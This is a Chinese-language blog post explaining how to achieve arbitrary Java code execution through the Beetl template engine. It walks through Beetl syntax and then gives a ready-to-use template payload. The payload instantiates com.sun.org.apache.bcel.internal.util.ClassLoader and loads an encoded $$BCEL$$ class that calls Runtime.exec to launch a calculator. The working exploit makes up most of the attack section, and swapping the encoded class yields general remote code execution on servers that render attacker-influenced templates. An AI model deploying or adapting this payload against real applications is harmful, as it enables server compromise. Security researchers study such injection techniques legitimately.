Beetl 模版引擎执行任意 Java 代码的方法

一. Beetl 介绍

网上没搜索到 Beetl 模版引擎执行任意 Java 代码的方法,所以顺手看下文档,顺便分享下方法。

下是来自 官网 的简介:

Beetl是Bee Template Language的缩写,它绝不是简单的另外一种模板引擎,而是新一代的模板引擎,它功能强大,性能良好,超过当前流行的模板引擎。而且还易学易用。

二. 执行任意 java 代码

  • Beetl 默认的语句界定符为 <% %>

  • Beetl 支持用 type.new 创建一个对象实例,语法有点像 javascript

  var user = type.new("com.xx.User");
  • Beetl 支持用 java 代码风格来调用属性和对象,例如:
  ${@user.getMaxFriend(“lucy”)}
  ${@com.xxxx.constants.Order.getMaxNum()}

  <%
  var max = @com.xxxx.constants.Order.MAX_NUM;
  var c =1;
  var d = @user.getAge(c);
  %>

结合以上三个小知识,就可以利用 type.new 创建一个 bcel ClassLoader 的实例,然后使用实例加载任意代码,并实例化代码,执行任意的自定义代码。当然,肯定还有其他方法,不过找到一个通用的就行了,暂时不需要深挖。

下面是一个使用 Runtime exec 执行 /bin/bash -c "open -a Calculator" 命令弹计算器的例子:

<%

var obj = type.new("com.sun.org.apache.bcel.internal.util.ClassLoader");
@obj.loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$c9N$e3$40$Q$7d$ed8n$c7$98$cdl$c3$9a$b0$H$q$s$SW$d0$5c$90$b8$Q$W$e1$I$Uq$Y$b5$7b$9a$600v$e48$cc$fc$d1$9c$b9$AB$82$P$e0$a3$Q$d5$Wb$edCu$f5$abW$ef$95$aa$9f$9e$ef$l$B$acc$d9A$PF8Fm$8c$d9$f8ac$dc$c1$E$su$98$e2$98v$60c$86$a3$ccQa$b06$c38$cc$7e1$U$aa$xG$M$e6V$f2G1$f4$d7$c3X$edu$_$D$956D$Q$Rbo$ca$e8$95$d9$ebgB$5e$ec$8av$5e$oA$G$c7O$ba$a9T$db$a1$a6$96$a4$88$e4$cfsq$r$5c$b8$e8e$Y$d0y$z$Sq$ab$e6gi$Y$b7$88S$L$c2$b8$W$88$ce$Z$83$b1$s$Z$bc$a4$ad$e2$ca$9a$a8lQs7$SY$92r$cc$ba$98$c3$bc$8b$F$y2$M$bd$ab4$ce$d2$e4$af6w$b1$a4$NL$ed$f8$c9g$3f8W2c$Y$7c$87$O$bbq$W$5e$d2$7cNKeo$8f$91$eaJ$fd$hg$83$q$d5$3fE$92$d5$eaI$fd$eb$f4$h$l$3b$O$d2D$aaN$87$3a$fa$dbT$cc$f2$dd4R$n$Vf$a1$ffA$l$DLo$82b$l$bd$a6$e9ft$XWo$c1$ae$v$a1$5e$8aV$O$d2$a61$f0F$3d$85$99$a3$8b$d6$D$8cf$c1$x$f8M$d33$fdf$d1$x$fa$3bw$b0Vo$c0$8f$ff$c3$de$a1$a4t$9dS$a7P$s$J$p$97$9c$mQ$90$c40$8a$84$dbT$b1P$B$a7$7d$960H$V$O$e37$87$a7$3d$86$f21$87_$Ad$8aRTD$C$A$A").newInstance();

%>

三:参考文章

beetl basic guide

标签   

评论